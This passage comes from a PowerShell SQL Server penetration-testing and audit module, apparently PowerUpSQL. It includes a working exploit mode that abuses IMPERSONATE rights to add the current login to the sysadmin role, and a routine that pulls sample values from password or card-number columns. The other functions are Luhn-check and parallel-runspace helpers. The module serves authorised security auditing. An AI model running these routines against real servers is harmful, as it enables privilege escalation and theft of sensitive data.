        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [string]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit
    )

    Begin
    {                
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')   
    }

    Process
    {   
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Status user
        Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN"  
   
        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            # Status user
            Write-Verbose -Message "$Instance : CONNECTION FAILED."
            Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN"         
            Return
        }
        else
        {
            Write-Verbose -Message "$Instance : CONNECTION SUCCESS."
        }

        # Grab server information
        $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
        $CurrentLogin = $ServerInfo.CurrentLogin

        # ---------------------------------------------------------------
        # Set function meta data for report output
        # ---------------------------------------------------------------
        if($Exploit)
        {
            $TestMode  = 'Exploit'
        }
        else
        {
            $TestMode  = 'Audit'
        }         
        $Vulnerability = 'Excessive Privilege - Impersonate Login'
        $Description   = 'The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges.'
        $Remediation   = 'Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user]'
        $Severity      = 'High'
        $IsVulnerable  = 'No'
        $IsExploitable = 'No' 
        $Exploited     = 'No'     
        $ExploitCmd    = "Invoke-SQLAuditPrivImpersonateLogin -Instance $Instance -Exploit"
        $Details       = ''   
        $Reference     = 'https://msdn.microsoft.com/en-us/library/ms181362.aspx'       
        $Author        = 'Scott Sutherland (@_nullbind), NetSPI 2016'        

        # ---------------------------------------------------------------
        # Check for Vulnerability
        # ---------------------------------------------------------------
       
        # Get list of SQL Server logins that can be impersonated by the current login
        $ImpersonationList = Get-SQLServerPriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.PermissionName -like 'IMPERSONATE'
        }        

        # Check if any SQL Server logins can be impersonated
        if($ImpersonationList)
        {
            # Status user
            Write-Verbose -Message "$Instance : - Logins can be impersonated."
            $IsVulnerable = 'Yes'

            # ---------------------------------------------------------------
            # Check if Vulnerability is Exploitable
            # ---------------------------------------------------------------

            # Iterate through each affected login and check if they are a sysadmin
            $ImpersonationList |
            ForEach-Object -Process {
                # Grab grantee and impersonable login
                $ImpersonatedLogin = $_.ObjectName
                $GranteeName = $_.GranteeName 
                
                # Check if impersonable login is a sysadmin
                $ImpLoginSysadminStatus = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$ImpersonatedLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status                   
                If($ImpLoginSysadminStatus -eq 1)
                {
                    #Status user
                    Write-Verbose -Message "$Instance : - $GranteeName can impersonate the $ImpersonatedLogin sysadmin login."
                    $IsExploitable = 'Yes'
                    $Details = "$GranteeName can impersonate the $ImpersonatedLogin SYSADMIN login. This test was ran with the $CurrentLogin login."

                    # ---------------------------------------------------------------
                    # Exploit Vulnerability
                    # ---------------------------------------------------------------
                    if($Exploit)
                    {
                        # Status user
                        Write-Verbose -Message "$Instance : - EXPLOITING: Starting exploit process..."

                        # Check if user is already a sysadmin
                        $SysadminPreCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status                                            
                        if($SysadminPreCheck -eq 0)
                        {
                            # Status user
                            Write-Verbose -Message "$Instance : - EXPLOITING: Verified that the current user ($CurrentLogin) is NOT a sysadmin."
                            Write-Verbose -Message "$Instance : - EXPLOITING: Attempting to add the current user ($CurrentLogin) to the sysadmin role by impersonating $ImpersonatedLogin..."                            
                            
                            # Attempt to add the current login to sysadmins fixed server role
                            $null = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "EXECUTE AS LOGIN = '$ImpersonatedLogin';EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin';Revert" -SuppressVerbose                                              

                            # Verify the login was added successfully
                            $SysadminPostCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status               
                            if($SysadminPostCheck -eq 1)
                            {
                                Write-Verbose -Message "$Instance : - EXPLOITING: It was possible to make the current user ($CurrentLogin) a sysadmin!"
                                $Exploited = 'Yes'
                            }
                            else
                            {
                                Write-Verbose -Message "$Instance : - EXPLOITING: It was not possible to make the current user ($CurrentLogin) a sysadmin."
                            }
                        }
                        else
                        {
                            # Status user
                            Write-Verbose -Message "$Instance : - EXPLOITING: The current login ($CurrentLogin) is already a sysadmin. No privilege escalation needed."
                            $Exploited = 'No'
                        }
                    }
                }
                else
                {
                    # Status user
                    Write-Verbose -Message "$Instance : - $GranteeName can impersonate the $ImpersonatedLogin login (not a sysadmin)."
                    $Details = "$GranteeName can impersonate the $ImpersonatedLogin login (not a sysadmin). This test was ran with the $CurrentLogin login."
                    $IsExploitable = 'No'
                }
            
                # Add record
                $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)
            }
        }
        else
        {
            # Status user
            Write-Verbose -Message "$Instance : - No logins could be impersonated."
        }

        # Status user
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN"    
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData
        }
    }
}


# ---------------------------------------
# Invoke-SQLAuditSampleDataByColumn
# ---------------------------------------
# Author: Scott Sutherland
Function Invoke-SQLAuditSampleDataByColumn 
{
    <#
            .SYNOPSIS
            Check if the current login can access any database columns that contain the word password. Supports column name keyword search and custom data sample size.
            Note: For cleaner data sample output use the Get-SQLColumnSampleData function.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER NoOutput
            Don't output anything.
            .PARAMETER Exploit
            Exploit vulnerable issues
            .PARAMETER SampleSize
            Number of records to sample.
            .PARAMETER Keyword
            Column name to search for.
            .PARAMETER Exploit
            Exploit vulnerable issues.
            .EXAMPLE
            PS C:\> Invoke-SQLAuditSampleDataByColumn -Instance SQLServer1\STANDARDDEV2014 -Keyword card -SampleSize 2 -Exploit
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : Potentially Sensitive Columns Found
            Description : Columns were found in non default databases that may contain sensitive information.
            Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
            Severity : Informational
            IsVulnerable : Yes
            IsExploitable : Yes
            Exploited : Yes
            ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance SQLServer1\STANDARDDEV2014 -Exploit
            Details : Data sample from [testdb].[dbo].[tracking].[card] : "4111111111111111" "4111111111111112".
            Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [string]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of records to sample.')]
        [int]$SampleSize = 1,

        [Parameter(Mandatory = $false,
        HelpMessage = ' Column name to search for.')]
        [string]$Keyword = 'Password'
    )

    Begin
    {                         
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')   
    }

    Process
    {   
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Status User
        Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: SEARCH DATA BY COLUMN" 

        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            # Status user
            Write-Verbose -Message "$Instance : CONNECTION FAILED"
            Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: SEARCH DATA BY COLUMN"           
            Return
        }
        else
        {
            Write-Verbose -Message "$Instance : CONNECTION SUCCESS"
        }

        # --------------------------------------------
        # Set function meta data for report output
        # --------------------------------------------
        if($Exploit)
        {
            $TestMode  = 'Exploit'
        }
        else
        {
            $TestMode  = 'Audit'
        }      
        $Vulnerability = 'Potentially Sensitive Columns Found'
        $Description   = 'Columns were found in non default databases that may contain sensitive information.'
        $Remediation   = 'Ensure that all passwords and senstive data are masked, hashed, or encrypted.'
        $Severity      = 'Informational'
        $IsVulnerable  = 'No'
        $IsExploitable = 'No' 
        $Exploited     = 'No'
        $ExploitCmd    = "Invoke-SQLAuditSampleDataByColumn -Instance $Instance -Exploit"
        $Details       = ''   
        $Reference     = 'https://msdn.microsoft.com/en-us/library/ms188348.aspx'       
        $Author        = 'Scott Sutherland (@_nullbind), NetSPI 2016'         
        
        # -----------------------------------------------------------------
        # Check for the Vulnerability
        # Note: Typically a missing patch or weak configuration
        # -----------------------------------------------------------------
        Write-Verbose -Message "$Instance : - Searching for column names that match criteria..."    
        $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -Credential $Credential -ColumnNameSearch $Keyword -NoDefaults -SuppressVerbose
        if($Columns)
        {
            $IsVulnerable  = 'Yes'
        }
        else
        {
            $IsVulnerable  = 'No'
        }
        
        # -----------------------------------------------------------------
        # Check for exploit dependancies
        # Note: Typically secondary configs required for dba/os execution
        # -----------------------------------------------------------------
        if($IsVulnerable -eq 'Yes')
        {
            # List affected columns
            $Columns|
            ForEach-Object -Process {
                $DatabaseName = $_.DatabaseName
                $SchemaName = $_.SchemaName
                $TableName = $_.TableName
                $ColumnName = $_.ColumnName
                $AffectedColumn = "[$DatabaseName].[$SchemaName].[$TableName].[$ColumnName]"
                $AffectedTable = "[$DatabaseName].[$SchemaName].[$TableName]"
                $Query = "USE $DatabaseName; SELECT TOP $SampleSize [$ColumnName] FROM $AffectedTable "

                Write-Verbose -Message "$Instance : - Column match: $AffectedColumn"

                # ------------------------------------------------------------------
                # Exploit Vulnerability
                # Note: Add the current user to sysadmin fixed server role, get data
                # ------------------------------------------------------------------
                if($IsVulnerable -eq 'Yes')
                {
                    $TblTargetColumns |
                    ForEach-Object -Process {
                        # Add sample data
                        Write-Verbose -Message "$Instance : - EXPLOITING: Selecting data sample from column $AffectedColumn."

                        # Query for data
                        $DataSample = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query $Query -SuppressVerbose |
                        ConvertTo-Csv -NoTypeInformation |
                        Select-Object -Skip 1
                        if($DataSample)
                        {
                            $Details = "Data sample from $AffectedColumn : $DataSample."
                        }
                        else
                        {
                            $Details = "No data found in affected column: $AffectedColumn."
                        }
                        $IsExploitable = 'Yes'
                        $Exploited = 'Yes'

                        # Add record
                        $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) | Out-Null                                                                        
                    }
                }
                else
                {
                    # Add affected column list
                    $Details = "Affected column: $AffectedColumn." 
                    $IsExploitable = 'Yes'
                    $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)                                                                        
                }
            }                             
        }
        else
        {
            Write-Verbose -Message "$Instance : - No columns were found that matched the search."
        } 
                
        # Status User
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: SEARCH DATA BY COLUMN" 
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData
        }
    }
}
#endregion

#########################################################################
#
#region THIRD PARTY FUNCTIONS
#
#########################################################################

# -------------------------------------------
# Function: Test-IsLuhnValid
# -------------------------------------------
# Author: ØYVIND KALLSTAD
# Source: https://communary.net/2016/02/19/the-luhn-algorithm/
function Test-IsLuhnValid 
{
    <#
            .SYNOPSIS
            Valdidate a number based on the Luhn Algorithm.
            .DESCRIPTION
            This function uses the Luhn algorithm to validate a number that includes
            the Luhn checksum digit.
            .EXAMPLE
            Test-IsLuhnValid -Number 1234567890123452
            This will validate whether the number is valid according to the Luhn Algorithm.
            .INPUTS
            System.UInt64
            .OUTPUTS
            System.Boolean
            .NOTES
            Author: Øyvind Kallstad
            Date: 19.02.2016
            Version: 1.0
            Dependencies: Get-LuhnCheckSum, ConvertTo-Digits
            .LINKS
            https://en.wikipedia.org/wiki/Luhn_algorithm
            https://communary.wordpress.com/
            https://github.com/gravejester/Communary.ToolBox
    #>
    [CmdletBinding()]
    param (
        [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline = $true)]
        [uint64]$Number
    )

    $numberDigits = ConvertTo-Digits -Number $Number
    $checksumDigit = $numberDigits[-1]
    $numberWithoutChecksumDigit = $numberDigits[0..($numberDigits.Count - 2)] -join ''
    $checksum = Get-LuhnCheckSum -Number $numberWithoutChecksumDigit

    if ((($checksum + $checksumDigit) % 10) -eq 0) 
    {
        Write-Output -InputObject $true
    }
    else 
    {
        Write-Output -InputObject $false
    }
}


# -------------------------------------------
# Function: ConvertTo-Digits
# -------------------------------------------
# Author: ØYVIND KALLSTAD
# Source: https://communary.net/2016/02/19/the-luhn-algorithm/
function ConvertTo-Digits 
{
    <#
            .SYNOPSIS
            Convert an integer into an array of bytes of its individual digits.
            .DESCRIPTION
            Convert an integer into an array of bytes of its individual digits.
            .EXAMPLE
            ConvertTo-Digits 145
            .INPUTS
            System.UInt64
            .LINK
            https://communary.wordpress.com/
            https://github.com/gravejester/Communary.ToolBox
            .NOTES
            Author: Øyvind Kallstad
            Date: 09.05.2015
            Version: 1.0
    #>
    [OutputType([System.Byte[]])]
    [CmdletBinding()]
    param(
        [Parameter(Position = 0, Mandatory = $true, ValueFromPipeline = $true)]
        [uint64]$Number
    )
    $n = $Number
    $numberOfDigits = 1 + [convert]::ToUInt64([math]::Floor(([math]::Log10($n))))
    $digits = New-Object -TypeName Byte[] -ArgumentList $numberOfDigits
    for ($i = ($numberOfDigits - 1); $i -ge 0; $i--) 
    {
        $digit = $n % 10
        $digits[$i] = $digit
        $n = [math]::Floor($n / 10)
    }
    Write-Output -InputObject $digits
}


# -------------------------------------------
# Function: Invoke-Parallel
# -------------------------------------------
# Author: RamblingCookieMonster
# Source: https://github.com/RamblingCookieMonster/Invoke-Parallel
# Notes: Added "ImportSessionFunctions" to import custom functions from the current session into the runspace pool.
function Invoke-Parallel 
{
    <#
            .SYNOPSIS
            Function to control parallel processing using runspaces
 
            .DESCRIPTION
            Function to control parallel processing using runspaces
 
            Note that each runspace will not have access to variables and commands loaded in your session or in other runspaces by default.
            This behaviour can be changed with parameters.
 
            .PARAMETER ScriptFile
            File to run against all input objects. Must include parameter to take in the input object, or use $args. Optionally, include parameter to take in parameter. Example: C:\script.ps1
 
            .PARAMETER ScriptBlock
            Scriptblock to run against all computers.
 
            You may use $Using:<Variable> language in PowerShell 3 and later.
         
            The parameter block is added for you, allowing behaviour similar to foreach-object:
            Refer to the input object as $_.
            Refer to the parameter parameter as $parameter
 
            .PARAMETER InputObject
            Run script against these specified objects.
 
            .PARAMETER Parameter
            This object is passed to every script block. You can use it to pass information to the script block; for example, the path to a logging folder
         
            Reference this object as $parameter if using the scriptblock parameterset.
 
            .PARAMETER ImportVariables
            If specified, get user session variables and add them to the initial session state
 
            .PARAMETER ImportModules
            If specified, get loaded modules and pssnapins, add them to the initial session state
 
            .PARAMETER Throttle
            Maximum number of threads to run at a single time.
 
            .PARAMETER SleepTimer
            Milliseconds to sleep after checking for completed runspaces and in a few other spots. I would not recommend dropping below 200 or increasing above 500
 
            .PARAMETER RunspaceTimeout
            Maximum time in seconds a single thread can run. If execution of your code takes longer than this, it is disposed. Default: 0 (seconds)
 
            WARNING: Using this parameter requires that maxQueue be set to throttle (it will be by default) for accurate timing. Details here:
            http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430
 
            .PARAMETER NoCloseOnTimeout
            Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out. This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host.
 
            .PARAMETER MaxQueue
            Maximum number of powershell instances to add to runspace pool. If this is higher than $throttle, $timeout will be inaccurate
         
            If this is equal or less than throttle, there will be a performance impact
 
            The default value is $throttle times 3, if $runspaceTimeout is not specified
            The default value is $throttle, if $runspaceTimeout is specified
 
            .PARAMETER LogFile
            Path to a file where we can log results, including run time for each thread, whether it completes, completes with errors, or times out.
 
            .PARAMETER Quiet
            Disable progress bar.
 
            .EXAMPLE
            Each example uses Test-ForPacs.ps1 which includes the following code:
            param($computer)
 
            if(test-connection $computer -count 1 -quiet -BufferSize 16){
            $object = [pscustomobject] @{
            Computer=$computer;
            Available=1;
            Kodak=$(
            if((test-path "\\$computer\c$\users\public\desktop\Kodak Direct View Pacs.url") -or (test-path "\\$computer\c$\documents and settings\all users
 
            \desktop\Kodak Direct View Pacs.url") ){"1"}else{"0"}
            )
            }
            }
            else{
            $object = [pscustomobject] @{
            Computer=$computer;
            Available=0;
            Kodak="NA"
            }
            }
 
            $object
 
            .EXAMPLE
            Invoke-Parallel -scriptfile C:\public\Test-ForPacs.ps1 -inputobject $(get-content C:\pcs.txt) -runspaceTimeout 10 -throttle 10
 
            Pulls list of PCs from C:\pcs.txt,
            Runs Test-ForPacs against each
            If any query takes longer than 10 seconds, it is disposed
            Only run 10 threads at a time
 
            .EXAMPLE
            Invoke-Parallel -scriptfile C:\public\Test-ForPacs.ps1 -inputobject c-is-ts-91, c-is-ts-95
 
            Runs against c-is-ts-91, c-is-ts-95 (-computername)
            Runs Test-ForPacs against each
 
            .EXAMPLE
            $stuff = [pscustomobject] @{
            ContentFile = "windows\system32\drivers\etc\hosts"
            Logfile = "C:\temp\log.txt"
            }
     
            $computers | Invoke-Parallel -parameter $stuff {
            $contentFile = join-path "\\$_\c$" $parameter.contentfile
            Get-Content $contentFile |
            set-content $parameter.logfile
            }
 
            This example uses the parameter argument. This parameter is a single object. To pass multiple items into the script block, we create a custom object (using a PowerShell v3 language) with properties we want to pass in.
 
            Inside the script block, $parameter is used to reference this parameter object. This example sets a content file, gets content from that file, and sets it to a predefined log file.
 
            .EXAMPLE
            $test = 5
            1..2 | Invoke-Parallel -ImportVariables {$_ * $test}
 
            Add variables from the current session to the session state. Without -ImportVariables $Test would not be accessible
 
            .EXAMPLE
            $test = 5
            1..2 | Invoke-Parallel {$_ * $Using:test}
 
            Reference a variable from the current session with the $Using:<Variable> syntax. Requires PowerShell 3 or later. Note that -ImportVariables parameter is no longer necessary.
 
            .FUNCTIONALITY
            PowerShell Language
 
            .NOTES
            Credit to Boe Prox for the base runspace code and $Using implementation
            http://learn-powershell.net/2012/05/10/speedy-network-information-query-using-powershell/
            http://gallery.technet.microsoft.com/scriptcenter/Speedy-Network-Information-5b1406fb#content
            https://github.com/proxb/PoshRSJob/
 
            Credit to T Bryce Yehl for the Quiet and NoCloseOnTimeout implementations
 
            Credit to Sergei Vorobev for the many ideas and contributions that have improved functionality, reliability, and ease of use
 
            .LINK
            https://github.com/RamblingCookieMonster/Invoke-Parallel
    #>
    [cmdletbinding(DefaultParameterSetName = 'ScriptBlock')]
    Param (   
        [Parameter(Mandatory = $false,position = 0,ParameterSetName = 'ScriptBlock')]
        [System.Management.Automation.ScriptBlock]$ScriptBlock,

        [Parameter(Mandatory = $false,ParameterSetName = 'ScriptFile')]
        [ValidateScript({
                    Test-Path $_ -PathType leaf
        })]
        $ScriptFile,

        [Parameter(Mandatory = $true,ValueFromPipeline = $true)]
        [Alias('CN','__Server','IPAddress','Server','ComputerName')]    
        [PSObject]$InputObject,

        [PSObject]$Parameter,

        [switch]$ImportSessionFunctions,

        [switch]$ImportVariables,

        [switch]$ImportModules,

        [int]$Throttle = 20,

        [int]$SleepTimer = 200,

        [int]$RunspaceTimeout = 0,

        [switch]$NoCloseOnTimeout = $false,

        [int]$MaxQueue,

        [validatescript({
                    Test-Path (Split-Path -Path $_ -Parent)
        })]
        [string]$LogFile = 'C:\temp\log.log',

        [switch] $Quiet = $false
    )
    
    Begin {
                
        #No max queue specified? Estimate one.
        #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function
        if( -not $PSBoundParameters.ContainsKey('MaxQueue') )
        {
            if($RunspaceTimeout -ne 0)
            {
                $script:MaxQueue = $Throttle
            }
            else
            {
                $script:MaxQueue = $Throttle * 3
            }
        }
        else
        {
            $script:MaxQueue = $MaxQueue
        }

        #Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue' logFile '$logFile'"

        #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items
        if ($ImportVariables -or $ImportModules)
        {
            $StandardUserEnv = [powershell]::Create().addscript({
                    #Get modules and snapins in this clean runspace
                    $Modules = Get-Module | Select-Object -ExpandProperty Name
                    $Snapins = Get-PSSnapin | Select-Object -ExpandProperty Name

                    #Get variables in this clean runspace
                    #Called last to get vars like $? into session
                    $Variables = Get-Variable | Select-Object -ExpandProperty Name
                
                    #Return a hashtable where we can access each.
                    @{
                        Variables = $Variables
                        Modules   = $Modules
                        Snapins   = $Snapins
                    }
            }).invoke()[0]
            
            if ($ImportVariables) 
            {
                #Exclude common parameters, bound parameters, and automatic variables
                Function _temp 
                {
                    [cmdletbinding()] param()
                }
                $VariablesToExclude = @( (Get-Command _temp | Select-Object -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables )
                #Write-Verbose "Excluding variables $( ($VariablesToExclude | sort ) -join ", ")"

                # we don't use 'Get-Variable -Exclude', because it uses regexps.
                # One of the veriables that we pass is '$?'.
                # There could be other variables with such problems.
                # Scope 2 required if we move to a real module
                $UserVariables = @( Get-Variable | Where-Object -FilterScript {
                        -not ($VariablesToExclude -contains $_.Name)
                } ) 
                #Write-Verbose "Found variables to import: $( ($UserVariables | Select -expandproperty Name | Sort ) -join ", " | Out-String).`n"
            }

            if ($ImportModules) 
            {
                $UserModules = @( Get-Module |
                    Where-Object -FilterScript {
                        $StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path -Path $_.Path -ErrorAction SilentlyContinue)
                    } |
                Select-Object -ExpandProperty Path )
                $UserSnapins = @( Get-PSSnapin |
                    Select-Object -ExpandProperty Name |
                    Where-Object -FilterScript {
                        $StandardUserEnv.Snapins -notcontains $_
                } ) 
            }
        }

        #region functions
            
        Function Get-RunspaceData 
        {
            [cmdletbinding()]
            param( [switch]$Wait )

            #loop through runspaces
            #if $wait is specified, keep looping until all complete
            Do 
            {
                #set more to false for tracking completion
                $more = $false

                #Progress bar if we have inputobject count (bound parameter)
                if (-not $Quiet) 
                {
                    Write-Progress  -Activity 'Running Query' -Status 'Starting threads'`
                    -CurrentOperation "$startedCount threads defined - $totalCount input objects - $script:completedCount input objects processed"`
                    -PercentComplete $( Try 
                        {
                            $script:completedCount / $totalCount * 100
                        }
                        Catch 
                        {
                            0
                        }
                    )
                }

                #run through each runspace.
                Foreach($runspace in $runspaces) 
                {
                    #get the duration - inaccurate
                    $currentdate = Get-Date
                    $runtime = $currentdate - $runspace.startTime
                    $runMin = [math]::Round( $runtime.totalminutes ,2 )

                    #set up log object
                    $log = '' | Select-Object -Property Date, Action, Runtime, Status, Details
                    $log.Action = "Removing:'$($runspace.object)'"
                    $log.Date = $currentdate
                    $log.Runtime = "$runMin minutes"

                    #If runspace completed, end invoke, dispose, recycle, counter++
                    If ($runspace.Runspace.isCompleted) 
                    {
                        $script:completedCount++
                        
                        #check if there were errors
                        if($runspace.powershell.Streams.Error.Count -gt 0) 
                        {
                            #set the logging info and move the file to completed
                            $log.status = 'CompletedWithErrors'
                            #Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1]
                            foreach($ErrorRecord in $runspace.powershell.Streams.Error) 
                            {
                                Write-Error -ErrorRecord $ErrorRecord
                            }
                        }
                        else 
                        {
                            #add logging details and cleanup
                            $log.status = 'Completed'
                            #Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1]
                        }

                        #everything is logged, clean up the runspace
                        $runspace.powershell.EndInvoke($runspace.Runspace)
                        $runspace.powershell.dispose()
                        $runspace.Runspace = $null
                        $runspace.powershell = $null
                    }

                    #If runtime exceeds max, dispose the runspace
                    ElseIf ( $RunspaceTimeout -ne 0 -and $runtime.totalseconds -gt $RunspaceTimeout) 
                    {
                        $script:completedCount++
                        $timedOutTasks = $true
                            
                        #add logging details and cleanup
                        $log.status = 'TimedOut'
                        #Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1]
                        Write-Error -Message "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | Out-String)"

                        #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance
                        if (!$NoCloseOnTimeout) 
                        {
                            $runspace.powershell.dispose()
                        }
                        $runspace.Runspace = $null
                        $runspace.powershell = $null
                        $completedCount++
                    }
                   
                    #If runspace isn't null set more to true
                    ElseIf ($runspace.Runspace -ne $null ) 
                    {
                        $log = $null
                        $more = $true
                    }

                    #log the results if a log file was indicated
                    <#
                            if($logFile -and $log){
                            ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] | out-file $LogFile -append
                            }
                    #>
                }

                #Clean out unused runspace jobs
                $temphash = $runspaces.clone()
                $temphash |
                Where-Object -FilterScript {
                    $_.runspace -eq $null
                } |
                ForEach-Object -Process {
                    $runspaces.remove($_)
                }

                #sleep for a bit if we will loop again
                if($PSBoundParameters['Wait'])
                {
                    Start-Sleep -Milliseconds $SleepTimer
                }

                #Loop again only if -wait parameter and there are more runspaces to process
            }
            while ($more -and $PSBoundParameters['Wait'])
                
            #End of runspace function
        }

        #endregion functions
        
        #region Init

        if($PSCmdlet.ParameterSetName -eq 'ScriptFile')
        {
            $ScriptBlock = [scriptblock]::Create( $(Get-Content $ScriptFile | Out-String) )
        }
        elseif($PSCmdlet.ParameterSetName -eq 'ScriptBlock')
        {
            #Start building parameter names for the param block
            [string[]]$ParamsToAdd = '$_'
